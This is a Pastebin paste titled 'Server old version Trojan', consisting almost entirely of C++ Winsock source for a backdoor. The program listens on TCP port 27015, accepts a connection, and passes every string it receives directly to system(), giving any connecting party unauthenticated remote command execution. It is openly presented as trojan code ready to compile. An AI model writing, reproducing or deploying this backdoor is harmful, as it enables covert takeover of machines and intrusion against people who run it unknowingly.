emS-St1ks

Server old version Trojan

Jun 14th, 2012
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.95 KB | None | 0 0
  1. #include <stdio.h>
  2. 02  #include "winsock2.h"
  3. 03   
  4. 04  int main() {
  5. 05   
  6. 06   
  7. 07      // Initialize Winsock.
  8. 08      WSADATA wsaData;
  9. 09      int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  10. 10      if ( iResult != NO_ERROR )
  11. 11          printf("Error at WSAStartup()\n");
  12. 12   
  13. 13      // Create a socket.
  14. 14      SOCKET m_socket;
  15. 15      m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  16. 16   
  17. 17      if ( m_socket == INVALID_SOCKET ) {
  18. 18          printf( "Error at socket(): %ld\n", WSAGetLastError() );
  19. 19          WSACleanup();
  20. 20          return 1;
  21. 21      }
  22. 22   
  23. 23      // Bind the socket.
  24. 24      sockaddr_in service;
  25. 25   
  26. 26      service.sin_family = AF_INET;
  27. 27      service.sin_addr.s_addr = htonl(INADDR_ANY);
  28. 28      service.sin_port = htons( 27015 );
  29. 29   
  30. 30      if ( bind( m_socket, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) {
  31. 31          printf( "bind() failed.\n" );
  32. 32          closesocket(m_socket);
  33. 33          return 1;
  34. 34      }
  35. 35       
  36. 36      // Listen on the socket.
  37. 37      if ( listen( m_socket, 1 ) == SOCKET_ERROR )
  38. 38          printf( "Error listening on socket.\n");
  39. 39   
  40. 40      // Accept connections.
  41. 41      SOCKET AcceptSocket;
  42. 42   
  43. 43      printf( "Waiting for a client to connect to server...\n" );
  44. 44      while (1) {
  45. 45          AcceptSocket = SOCKET_ERROR;
  46. 46          while ( AcceptSocket == SOCKET_ERROR ) {
  47. 47              AcceptSocket = accept( m_socket, NULL, NULL );
  48. 48          }
  49. 49          printf( "Client Connected.\n");
  50. 50          m_socket = AcceptSocket;
  51. 51           
  52. 52          while(1)
  53. 53          {
  54. 54          char recvbuf[32] = "";
  55. 55          char sendbuf[32] = "Command executed\n\n";
  56. 56          recv( m_socket, recvbuf, 32, 0 );
  57. 57          system(recvbuf);  // Executes a remote command
  58. 58           
  59. 59          send( m_socket, sendbuf, strlen(sendbuf), 0 );
  60. 60   
  61. 61   
  62. 62          }
  63. 63           
  64. 64      }
  65. 65       
  66. 66       
  67. 67       
  68. 68       
  69. 69       
  70. 70       
  71. 71      return 1;
  72. 72  }
Advertisement
Add Comment
Please, Sign In to add comment